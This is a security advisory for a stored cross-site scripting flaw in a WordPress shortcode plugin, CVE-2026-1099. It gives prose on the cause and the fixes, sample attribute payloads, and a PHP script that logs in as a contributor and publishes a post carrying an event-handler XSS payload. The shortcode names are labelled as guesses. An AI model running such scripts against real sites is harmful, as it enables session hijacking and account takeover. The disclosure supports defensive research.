Atomic Edge analysis of CVE-2026-1099 (metadata-based):
The Administrative Shortcodes WordPress plugin contains an authenticated stored cross-site scripting vulnerability in versions up to and including 0.3.4. The vulnerability exists within the plugin’s shortcode handlers for ‘login’ and ‘logout’ attributes. Attackers with Contributor-level access or higher can inject malicious scripts into posts or pages. These scripts execute when other users view the compromised content.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping. The plugin likely processes shortcode attributes without proper validation. It then directly outputs these attributes without escaping them in the rendered HTML. This inference aligns with CWE-79 classification. Without access to source code, this conclusion is based on the vulnerability description and common WordPress plugin patterns.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post or page. They insert a shortcode provided by the plugin, such as [admin_login] or [admin_logout]. The attacker adds malicious JavaScript payloads within the ‘login’ or ‘logout’ attribute values. For example: [admin_login login=”alert(document.cookie)”] or [admin_logout logout=”javascript:alert(1)”]. Upon saving, the payload is stored in the database. The payload executes in the browser of any user viewing that post or page.
Remediation requires implementing proper input sanitization and output escaping. The plugin should validate and sanitize all shortcode attribute values before processing. It must escape all dynamic content before outputting it to the browser. WordPress provides functions like esc_attr() for attribute contexts and wp_kses() for allowed HTML. The plugin should also implement capability checks to ensure only authorized users can edit shortcode attributes.
Successful exploitation leads to stored cross-site scripting attacks. Injected scripts execute with the privileges of the viewing user. This can result in session hijacking, account takeover, or content defacement. Attackers can steal authentication cookies, redirect users to malicious sites, or perform actions on behalf of the user. The CVSS score of 6.4 reflects medium severity with scope change, indicating the attack can impact other site components.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1099 - Administrative Shortcodes <= 0.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'login' and 'logout' Shortcode Attributes
<?php
/**
* Proof of Concept for CVE-2026-1099
* Assumptions based on vulnerability description:
* 1. Plugin registers shortcodes (likely 'admin_login', 'admin_logout' or similar).
* 2. Shortcodes accept 'login' and 'logout' attributes.
* 3. These attributes are vulnerable to XSS via insufficient output escaping.
* 4. Contributor+ users can create/edit posts containing shortcodes.
* This script simulates an attacker with Contributor credentials injecting a payload.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to inject into shortcode attribute
$payload = '" onmouseover="alert(document.domain)" x="';
// Create a post with malicious shortcode
// We assume the plugin shortcode is [admin_login] based on typical naming
$post_data = [
'title' => 'Test Post with Malicious Shortcode',
'content' => 'This post contains an exploited shortcode. [admin_login login=' . $payload . ']',
'status' => 'publish'
];
// Initialize cURL session for WordPress authentication
$ch = curl_init();
// First, authenticate to get cookies/nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check if login succeeded by accessing admin area
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce for post creation (pattern may vary)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
echo "Failed to obtain nonce. Authentication may have failed.n";
exit;
}
// Create the malicious post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_title' => $post_data['title'],
'content' => $post_data['content'],
'publish' => 'Publish',
'_wpnonce' => $nonce,
'_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
'post_type' => 'post'
]));
$response = curl_exec($ch);
// Check for success
if (strpos($response, 'Post published') !== false || strpos($response, 'Post updated') !== false) {
echo "Success: Malicious post created with XSS payload in shortcode attribute.n";
echo "Payload: " . htmlspecialchars($payload) . "n";
echo "When users view this post, the onmouseover event will execute JavaScript.n";
} else {
echo "Failed to create post. The site may have additional security measures.n";
}
curl_close($ch);
?>
